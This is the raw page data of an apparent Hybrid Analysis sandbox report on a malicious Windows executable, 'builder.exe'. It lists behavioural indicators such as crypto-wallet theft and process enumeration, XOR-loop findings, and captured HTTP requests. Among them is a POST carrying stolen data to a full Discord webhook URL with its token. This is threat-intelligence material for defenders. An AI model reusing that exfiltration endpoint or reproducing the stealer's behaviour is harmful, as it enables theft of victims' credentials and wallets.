24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 82:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T502,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 8b5eba696164… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8b5eba696164…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 11/28 AV engines flagged this file. 20 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb"],"about":{"@type":"SoftwareApplication","name":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","applicationCategory":["peexe","64bits","executable"],"identifier":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":11,"total":28},"behavioralIndicators":{"malicious":20,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6d3,file/memory contains long string(File: "libssl-1_1.dll") Found string "System.IO.Compression.ZipFile" (Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "system.io.compression" (Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp, 00000000-00002000.00000001.177576.53980000.00000004.mdmp") Found string "compressionmode" (Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "decompressionmethods" (Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "compressionlevel" (Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "compressionstrategy" (Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "compressionmethod" (Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "compressiontracingswitchlevel" (Source: "00000000-00002000.00000001.177576.53980000.00000004.mdmp") Found string "compressiontracingswitch" (Source: "00000000-00002000.00000001.177576.53980000.00000004.mdmp") Found string "The WS-Management service does not support the specified compression scheme (%1)." (Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The only supported compression type is "xpress"." (Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. The request contained the compression option but contained an unrecognized value." (Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Change the value for the compression option and try the request again." (Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")26:T89c,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "builder.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "builder.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "builder.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "builder.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "builder.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "builder.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")27:T567,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "builder.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "builder.exe") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "builder.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "builder.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "builder.exe") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp")28:T467,file/memory contains long string with (Indicator: "SHA384"; File: "_decimal.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_lzma.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_ssl.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_ctypes.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_sqlite3.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_bz2.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_socket.pyd") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_queue.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "select.pyd") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00001004-00000BC0-932707189") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp")29:T9a5,"builder.exe" queried SystemProcessInformation at 00000000-00005028-00000C15-908073874 [PID: 5028] "builder.exe" queried SystemProcessInformation at 00000000-00005028-00000C15-908086045 [PID: 5028] "builder.exe" queried SystemProcessInformation at 00000000-00005028-00000C15-908677407 [PID: 5028] "builder.exe" queried SystemProcessInformation at 00000000-00005028-00000C15-908685925 [PID: 5028] "builder.exe" queried SystemProcessInformation at 00000000-00005028-00000C15-908800958 [PID: 5028] "builder.exe" queried SystemProcessInformation at 00000000-00005028-00000C15-908810727 [PID: 5028] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-909954484 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-909963582 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-910134957 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-910144908 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-910254174 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-910263914 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-911215243 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-911225163 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-912709502 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-912719269 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-913528288 [PID: 7276] "builder.exe" queried SystemProcessInformation at 00000000-00007276-00000C15-913540619 [PID: 7276] "cmd.exe" queried SystemProcessInformation at 00000000-00000744-00000C15-915151720 [PID: 744] "cmd.exe" queried SystemProcessInformation at 00000000-00000744-00000C15-915160862 [PID: 744] "cmd.exe" queried SystemProcessInformation at 00000000-00000744-00000C15-915336442 [PID: 744] "cmd.exe" queried SystemProcessInformation at 00000000-00000744-00000C15-915345702 [PID: 744] "net1.exe" queried SystemProcessInformation at 00000000-00001732-00000C15-915825882 [PID: 1732] "net1.exe" queried SystemProcessInformation at 00000000-00001732-00000C15-915835870 [PID: 1732] "net1.exe" queried SystemProcessInformation at 00000000-00001732-00000C15-916011011 [PID: 1732]2a:Tf49,Assembly shows XOR instruction xor rax rsp in Stream UID: 34853-688-0000000140002030 Assembly shows XOR instruction xor eax esp in Stream UID: 34853-688-0000000140002030 Assembly shows XOR instruction xor rcx rsp in Stream UID: 34853-688-0000000140002030 Assembly shows XOR instruction xor ecx esp in Stream UID: 34853-688-0000000140002030 Assembly shows XOR instruction xor rax rsp in Stream UID: 34853-690-0000000140001B90 Assembly shows XOR instruction xor eax esp in Stream UID: 34853-690-0000000140001B90 Assembly shows XOR instruction xor rcx rsp in Stream UID: 34853-690-0000000140001B90 Assembly shows XOR instruction xor ecx esp in Stream UID: 34853-690-0000000140001B90 Assembly shows XOR instruction xor rcx rsp in Stream UID: 34853-826-000000014000D578 Assembly shows XOR instruction xor ecx esp in Stream UID: 34853-826-000000014000D578 Assembly shows XOR instruction xor rcx rsp in Stream UID: 34853-1049-0000000140020AF1 Assembly shows XOR instruction xor ecx esp in Stream UID: 34853-1049-0000000140020AF1 Assembly shows XOR instruction xor qword ptr [rbp+10h] rax in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor dword ptr [rbp+10h] eax in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor rax qword ptr [rbp+20h] in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor eax dword ptr [rbp+20h] in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor rax qword ptr [rbp+10h] in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor eax dword ptr [rbp+10h] in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor rax rcx in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor eax ecx in Stream UID: 34853-1454-000000014000B5A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-182-008211A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-182-008211A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-207-008256F5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-207-008256F5 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-208-00828A52 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-208-00828A52 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-213-00824B17 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-213-00824B17 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-232-00829295 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-232-00829295 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-300-0082A767 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-300-0082A767 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-357-00828515 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-357-00828515 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-359-00828265 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-359-00828265 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006940-45045-361-0082A53A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006940-45045-361-0082A53A Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 00000000-00006940-45045-365-00827A40 Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00006940-45045-365-00827A40 Assembly shows XOR instruction xor eax dword ptr [ebp-10h] in Stream UID: 00000000-00006940-45045-365-00827A402b:Td82,Contains base64 string in header "Encoding" in header "GET /generate_204 HTTP/1.1Host: gstatic.comAccept-Encoding: identityUser-Agent: python-urllib3/2.0.3" Contains base64 string in header "identityUser" in header "GET /generate_204 HTTP/1.1Host: gstatic.comAccept-Encoding: identityUser-Agent: python-urllib3/2.0.3" Contains base64 string in header "Encoding" in header "GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.0.3" Contains base64 string in header "identityUser" in header "GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.0.3" Contains base64 string in header "POST" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "/api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "Encoding" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "8159User" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "3Content" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "Type" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "data" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" Contains base64 string in header "99bc9948df5de1d58dd49f4619d3df09" in header "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09"2c:T765,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Detected Suricata alert – Encrypted channel Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: YARA signature match - AES encryption2d:T93da,Found XOR loop in file "python310.dll" at offset 100974; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 206443; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 230212; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 240413; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 481764; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 526733; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 543809; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 546852; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 582586; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 632820; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 646853; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 848918; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 861351; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1048672; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1101564; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1172950; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1188126; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1207543; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1218084; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1356035; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1380800; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1436674; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 1445143; code bytes = 30d0 Found XOR loop in file "python310.dll" at offset 260533; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 288424; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 306743; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 323087; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 325726; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 371598; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 412476; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 629602; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 668358; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 694440; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 806801; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 848469; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 883159; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1213383; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1271386; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1279211; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1327365; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1366424; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1393388; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 1433800; code bytes = 33c1 Found XOR loop in file "python310.dll" at offset 21559; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 84683; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 100973; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 237778; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 309897; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 443608; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 444644; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 466989; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 567391; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 636156; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 708110; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 746024; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 747512; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 822972; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 826900; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 887944; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 966135; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1129122; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1158104; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1310537; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1324292; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1404699; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1505533; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1508399; code bytes = 8030 Found XOR loop in file "python310.dll" at offset 1508646; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 145243; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 278308; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 292913; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 330312; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 417318; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 495095; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 502460; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 527657; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 556859; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 634965; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 751745; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 817977; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 990784; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 1016680; code bytes = 30d0 Found XOR loop in file "libcrypto-1_1.dll" at offset 28043; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 105026; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 134585; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 188152; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 201435; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 245800; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 298792; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 344101; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 356785; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 380477; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 408360; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 493493; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 588454; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 710649; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 738208; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 754209; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 787656; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 794500; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 795517; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 803928; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 938335; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 971206; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 9645; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 24785; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 147127; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 298927; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 310606; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 325128; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 438778; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 469066; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 470362; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 488722; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 528730; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 534986; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 651630; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 773069; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 793639; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 877877; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 1019944; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 1061096; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 1181949; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 1184789; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 1185036; code bytes = 8030 Found XOR loop in file "rar.exe" at offset 116432; code bytes = 30d0 Found XOR loop in file "rar.exe" at offset 58588; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 97095; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 100092; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 278519; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 278523; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 278527; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 278733; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 278739; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 284111; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 286022; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 297046; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 297132; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 297982; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 298010; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 299518; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 321135; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 321493; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 371608; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 534184; code bytes = 33c1 Found XOR loop in file "rar.exe" at offset 616168; code bytes = 8030 Found XOR loop in file "rar.exe" at offset 617451; code bytes = 8030 Found XOR loop in file "rar.exe" at offset 622953; code bytes = 8030 Found XOR loop in file "rar.exe" at offset 629621; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 13215; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 152615; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 249504; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 341788; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 431578; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 475865; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 480831; code bytes = 30d0 Found 